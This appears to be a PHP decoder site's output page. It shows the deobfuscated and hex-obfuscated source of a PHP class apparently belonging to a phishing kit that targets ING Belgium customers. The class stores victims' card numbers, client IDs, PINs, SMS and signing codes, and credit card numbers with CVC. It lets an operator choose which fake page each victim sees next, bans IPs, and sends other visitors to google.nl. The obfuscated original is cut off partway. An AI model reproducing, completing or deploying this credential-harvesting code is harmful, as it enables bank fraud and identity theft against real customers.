Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Models\Ingbe; use PDO; class Ingbe extends \Core\Model { public stat..
Decoded Output download
<?php
namespace App\Models\Ingbe; use PDO; class Ingbe extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_card = :empty, ingbe_id = :empty, ingbe_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_identify = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoneInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_credit = :empty, ingbe_exp = :empty, ingbe_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "UPDATE logs SET bank = :bank, ingbe_pin = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, ingbe_sign = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, ingbe_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "LCL", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLogin($card, $client, $exp, $uid) { $sql = "UPDATE logs SET ingbe_card = :card, ingbe_id = :client, ingbe_vv = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":card", $card, PDO::PARAM_STR); $stmt->bindValue(":client", $client, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "UPDATE logs SET ingbe_identify = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($phone, $uid) { $sql = "UPDATE logs SET ingbe_bel = :phone, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":phone", $phone, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setPhone($phone, $uid) { $sql = "UPDATE logs SET ingbe_phone = :phone, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":phone", $phone, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($sms, $uid) { $sql = "UPDATE logs SET ingbe_sms = :sms, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":sms", $sms, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($credit, $exp, $cvc, $uid) { $sql = "UPDATE logs SET ingbe_credit = :credit, ingbe_exp = :exp, ingbe_cvc = :cvc, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":credit", $credit, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($code, $uid) { $sql = "UPDATE logs SET ingbe_pin = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "UPDATE logs SET ingbe_sign = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($code, $uid) { $sql = "UPDATE logs SET ingbe_live = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_card = :empty, ingbe_id = :empty, ingbe_vv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_identify = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhonePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_phone = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_bel = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_sms = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_credit = :empty, ingbe_exp = :empty, ingbe_cvc = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_sign = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_live = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_pin = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_sign = :empty, ingbe_sign_get = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, ingbe_live = :empty, ingbe_live_get = :live, ingbe_live2_get = :livetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":live", $live, PDO::PARAM_STR); $stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["ingbe_sign_get"])) { return $data["ingbe_sign_get"]; } return false; } public static function getLive($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["ingbe_live_get"])) { return $data["ingbe_live_get"]; } return false; } public static function getLivetwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["ingbe_live2_get"])) { return $data["ingbe_live2_get"]; } return false; } } ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Models\Ingbe; use PDO; class Ingbe extends \Core\Model { public static function redirect() { $sql = "\123\x45\114\105\x43\x54\40\x2a\40\106\x52\117\115\x20\162\145\144\151\x72\x65\143\164\x20\x57\110\x45\122\x45\x20\151\144\40\x3d\x20\72\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\x64", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\154\157\143\x61\x74\x69\x6f\156\x3a\x20" . $data["\162\x65\144\151\162\145\143\x74"]); die; } else { header("\x6c\157\x63\141\x74\x69\157\x6e\72\40\150\x74\164\160\163\72\57\x2f\x77\167\x77\56\147\x6f\157\147\x6c\x65\x2e\x6e\154"); die; } } public static function findBan($ip) { $sql = "\123\x45\x4c\105\x43\124\x20\52\40\106\122\x4f\115\40\x62\141\156\x73\40\x57\110\x45\122\105\x20\x69\x70\40\x3d\40\x3a\151\x70"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\160", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "\x55\x50\x44\101\124\x45\40\154\157\147\x73\x20\x53\105\x54\40\142\141\x6e\x6b\x20\75\x20\x3a\142\141\x6e\x6b\x2c\40\151\156\147\x62\145\x5f\x63\x61\162\x64\40\75\x20\72\x65\155\160\164\171\x2c\40\151\156\147\142\x65\x5f\151\x64\40\x3d\40\72\145\x6d\160\164\x79\x2c\40\x69\x6e\x67\x62\x65\x5f\166\x76\40\x3d\x20\x3a\x65\x6d\160\164\x79\x2c\x20\x70\141\x67\x65\40\x3d\x20\72\145\155\160\164\171\54\x20\x77\x61\x69\164\151\x6e\x67\x20\75\x20\72\x77\x61\151\x74\x69\156\x67\x20\x57\110\x45\122\x45\x20\x75\x73\x65\x72\137\x69\x64\x20\75\x20\72\x75\x73\x65\162\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\x6e\153", "\x4c\103\x4c", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\x74\x69\x6e\x67", "\x66\141\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "\x55\120\104\x41\124\105\x20\154\157\147\163\40\123\105\x54\40\142\141\156\x6b\x20\x3d\40\72\x62\x61\x6e\x6b\54\40\151\156\x67\x62\x65\137\x69\144\x65\x6e\x74\151\x66\171\x20\x3d\40\x3a\x65\x6d\x70\x74\171\54\40\x70\141\147\x65\x20\x3d\x20\72\x65\x6d\160\x74\x79\54\40\x77\x61\151\164\151\x6e\147\x20\x3d\x20\x3a\x77\141\x69\164\x69\x6e\147\40\127\110\105\x52\105\x20\165\163\x65\162\137\151\x64\x20\x3d\x20\72\165\x73\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\156\153", "\114\x43\x4c", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\x6e\x67", "\x66\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\x65\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "\125\120\x44\x41\124\x45\x20\154\157\x67\x73\x20\x53\x45\x54\x20\x62\x61\156\153\40\75\40\x3a\x62\x61\156\x6b\x2c\40\151\156\x67\x62\145\x5f\142\145\154\x20\x3d\40\72\145\155\160\x74\x79\x2c\x20\x70\x61\147\x65\x20\75\40\x3a\x65\x6d\x70\x74\171\54\x20\x77\141\x69\x74\x69\x6e\147\40\75\x20\x3a\x77\141\x69\x74\151\x6e\147\x20\x57\x48\x45\122\x45\40\165\x73\145\162\x5f\x69\144\x20\x3d\x20\x3a\165\163\x65\x72\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\x6e\x6b", "\114\103\114", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\160\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\151\156\x67", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoneInformation($uid) { $sql = "\x55\x50\x44\x41\x54\x45\x20\x6c\157\x67\x73\40\123\105\x54\x20\x62\141\156\x6b\x20\x3d\x20\x3a\142\141\x6e\x6b\x2c\x20\151\x6e\147\x62\x65\x5f\160\x68\x6f\x6e\x65\x20\x3d\x20\x3a\x65\155\160\164\171\54\x20\160\141\147\145\40\75\40\x3a\145\155\x70\x74\x79\54\40\167\x61\x69\164\x69\156\147\40\75\40\72\x77\x61\x69\x74\x69\156\147\40\127\x48\x45\x52\105\40\165\x73\145\162\137\x69\x64\x20\x3d\x20\x3a\x75\163\145\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\x6e\x6b", "\114\103\114", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\x74\151\x6e\x67", "\146\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "\125\120\104\x41\x54\105\x20\154\x6f\x67\163\x20\123\x45\x54\x20\142\141\x6e\153\x20\75\x20\72\x62\141\156\153\54\40\x69\156\x67\x62\145\x5f\x73\x6d\x73\40\x3d\40\x3a\x65\155\160\164\x79\54\40\160\141\147\x65\x20\x3d\40\x3a\145\155\160\164\x79\x2c\40\167\x61\151\x74\151\156\147\40\75\40\x3a\167\141\151\x74\151\156\x67\x20\127\x48\x45\x52\x45\40\165\x73\x65\x72\137\x69\x64\x20\75\40\72\x75\163\145\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\x6e\153", "\114\103\x4c", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\151\156\147", "\x66\141\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\162\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "\125\120\104\101\x54\105\40\154\157\x67\163\40\x53\105\x54\x20\142\x61\x6e\x6b\x20\75\40\x3a\x62\141\156\153\x2c\40\151\x6e\147\x62\x65\x5f\x63\162\145\x64\x69\164\x20\75\40\72\x65\155\160\164\171\x2c\x20\151\156\x67\x62\145\137\145\x78\x70\40\75\x20\72\x65\x6d\x70\x74\x79\54\40\x69\x6e\x67\x62\145\x5f\143\166\143\40\75\x20\72\145\155\160\x74\171\x2c\40\x70\x61\x67\145\40\75\40\x3a\x65\x6d\160\x74\x79\x2c\x20\x77\141\x69\164\151\x6e\x67\x20\x3d\x20\x3a\167\141\151\x74\151\156\147\40\x57\x48\105\122\x45\40\165\163\x65\x72\x5f\151\144\x20\x3d\40\72\165\163\145\x72\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\x6e\153", "\x4c\103\114", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\x74\x69\156\x67", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "\125\120\104\x41\x54\105\40\154\x6f\x67\x73\40\123\105\124\40\142\x61\x6e\x6b\x20\75\40\x3a\x62\x61\156\x6b\x2c\40\151\156\x67\142\x65\x5f\160\x69\156\40\75\x20\72\145\155\160\x74\x79\x2c\40\x70\141\x67\x65\x20\x3d\x20\x3a\145\155\x70\164\x79\x2c\x20\167\x61\151\x74\x69\x6e\x67\40\x3d\40\x3a\167\x61\151\x74\x69\156\147\x20\127\x48\105\122\105\x20\165\163\145\162\x5f\x69\144\x20\75\40\x3a\x75\163\145\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\x6e\x6b", "\x4c\x43\114", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\151\x6e\x67", "\x66\141\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\162\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "\x55\120\104\x41\x54\x45\x20\162\x65\154\151\x61\142\x6c\x65\137\154\x6f\x67\163\40\123\105\x54\40\142\x61\x6e\153\x20\75\40\x3a\x62\x61\x6e\x6b\x2c\40\151\x6e\147\142\145\x5f\163\x69\x67\156\x20\x3d\x20\72\145\x6d\160\164\171\x2c\x20\160\x61\147\145\40\75\40\x3a\x65\155\x70\164\x79\x2c\x20\x77\141\x69\164\151\156\147\x20\75\40\x3a\x77\x61\x69\164\x69\156\x67\40\x57\110\105\122\105\x20\165\x73\145\162\x5f\151\x64\x20\75\40\72\x75\x73\145\x72\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\x6e\x6b", "\114\x43\114", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\156\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "\x55\120\104\101\x54\105\x20\x72\x65\154\151\141\x62\154\x65\137\x6c\x6f\147\x73\40\123\105\x54\x20\x62\x61\156\153\x20\75\x20\72\x62\141\156\153\x2c\x20\151\x6e\147\142\x65\x5f\x6c\151\166\x65\x20\75\40\x3a\145\155\x70\x74\171\x2c\40\160\x61\x67\145\x20\x3d\40\72\x65\155\x70\164\x79\54\x20\167\x61\x69\x74\x69\x6e\147\40\x3d\x20\x3a\167\x61\151\164\151\156\147\40\127\x48\x45\122\x45\40\x75\x73\145\x72\137\151\144\40\x3d\40\72\165\x73\x65\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\x6e\153", "\x4c\x43\114", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\164\151\x6e\147", "\146\141\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\145\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "\x53\x45\x4c\x45\103\x54\x20\x2a\x20\x46\x52\117\115\40\162\x65\161\x75\145\163\x74\163\x20\x57\110\105\122\x45\x20\x75\162\154\x20\x3d\x20\x3a\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x69\144", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "\123\105\x4c\105\103\124\40\52\x20\x46\x52\x4f\115\x20\x6c\157\x67\163\x20\x57\110\105\x52\105\40\165\x73\x65\x72\137\151\144\40\75\x20\72\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\160\x61\147\x65"])) { return $data["\x70\x61\147\145"]; } return false; } public static function setLogin($card, $client, $exp, $uid) { $sql = "\125\x50\104\x41\x54\105\x20\x6c\x6f\147\x73\x20\x53\x45\x54\x20\151\156\x67\x62\x65\137\143\x61\162\x64\x20\x3d\x20\72\143\141\162\144\x2c\40\x69\156\x67\142\x65\137\151\x64\x20\x3d\x20\72\x63\154\x69\x65\156\164\54\40\151\x6e\x67\x62\145\137\x76\166\x20\x3d\40\x3a\145\x78\x70\x2c\x20\167\141\x69\164\x69\x6e\147\40\75\40\x3a\x77\141\x69\x74\x69\156\147\40\x57\x48\x45\x52\x45\x20\x75\163\145\x72\137\151\144\40\75\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\143\x61\162\x64", $card, PDO::PARAM_STR); $stmt->bindValue("\72\143\x6c\151\145\156\164", $client, PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x78\160", $exp, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\x69\x6e\x67", "\x74\x72\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "\125\x50\104\x41\x54\105\40\154\157\147\163\40\123\105\x54\40\151\x6e\x67\x62\x65\x5f\151\x64\x65\156\164\x69\146\x79\x20\x3d\40\x3a\151\x64\x65\156\x74\151\146\x69\143\x61\x74\x69\157\156\54\x20\x77\141\x69\164\x69\156\x67\40\x3d\40\72\x77\141\x69\x74\x69\156\x67\40\x57\110\105\122\x45\40\x75\163\145\x72\137\151\144\x20\75\x20\72\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); 